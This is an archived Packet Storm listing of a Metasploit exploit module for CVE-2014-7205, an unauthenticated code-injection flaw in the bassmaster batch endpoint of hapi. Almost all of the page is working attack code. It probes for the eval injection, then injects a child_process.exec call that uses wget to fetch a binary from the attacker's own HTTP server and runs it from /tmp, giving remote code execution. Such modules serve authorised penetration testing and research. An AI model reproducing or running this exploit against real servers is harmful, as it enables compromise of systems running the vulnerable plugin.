Lucene search

K
packetstormMr_mePACKETSTORM:139416
HistoryOct 30, 2016 - 12:00 a.m.

Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution

2016-10-3000:00:00
mr_me
packetstormsecurity.com
35

EPSS

0.895

Percentile

98.8%

`require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',  
'Description' => %q{  
This module exploits an un-authenticated code injection vulnerability in the bassmaster  
nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an  
attacker to dynamically execute JavaScript code on the server side using an eval.  
  
Note that the code uses a '\x2f' character so that we hit the match on the regex.  
},  
'Author' =>  
[  
'mr_me <[email protected]>', # msf  
'Jarda Kotesovec' # original bug finder  
],  
'References' =>  
[  
[ 'CVE', '2014-7205'],  
[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'bsd'], # binary > native JavaScript  
'Arch' => [ARCH_X86, ARCH_X86_64],  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 1 2016'))  
register_options(  
[  
Opt::RPORT(8080), # default port for the examples/batch.js file  
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file  
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),  
], self.class)  
end  
  
def check  
  
# So if we can append an encapsulated string into the body  
# we know that we can execute arbitrary JavaScript code  
rando = rand_text_alpha(8+rand(8))  
check = "+'#{rando}'"  
  
# testing  
requests = [  
{:method => "get", :path => "/profile"},  
{:method => "get", :path => "/item"},  
{:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;  
]  
  
post = {:requests => requests}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['URIPATH']),  
'ctype' => 'application/json',  
'data' => post.to_json  
})  
  
# default example app  
if res and res.code == 200 and res.body =~ /#{rando}/  
return CheckCode::Vulnerable  
  
# non-default app  
elsif res and res.code == 500 and res.body =~ /#{rando}/  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def on_request_uri(cli, request)  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
def send_payload  
@bd = rand_text_alpha(8+rand(8))  
pn = rand_text_alpha(8+rand(8))  
register_file_for_cleanup("/tmp/#{@bd}")  
cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"  
cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"  
cmd << "\\x2ftmp\\x2f#{@bd}"  
pay = ";require('child_process').exec('#{cmd}');"  
  
# pwning  
requests = [  
{:method => "get", :path => "/profile"},  
{:method => "get", :path => "/item"},  
{:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;  
]  
  
post = {:requests => requests}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['URIPATH']),  
'ctype' => 'application/json',  
'data' => post.to_json  
})  
  
# default example app  
if res and res.code == 200 and res.body =~ /id/  
return true  
  
# incase we are not targeting the default app  
elsif res and res.code == 500 and es.body !=~ /id/  
return true  
end  
return false  
end  
  
def start_http_server  
@pl = generate_payload_exe  
@elf_sent = false  
downfile = rand_text_alpha(8+rand(8))  
resource_uri = "\\x2f#{downfile}"  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
# do not use SSL for the attacking web server  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
@service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"  
service_url_payload = srv_host + resource_uri  
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
datastore['SSL'] = true if ssl_restore  
connect  
end  
  
def exploit  
start_http_server  
if send_payload  
print_good("Injected payload")  
# we need to delay, for the stager  
select(nil, nil, nil, 5)  
end  
end  
end  
`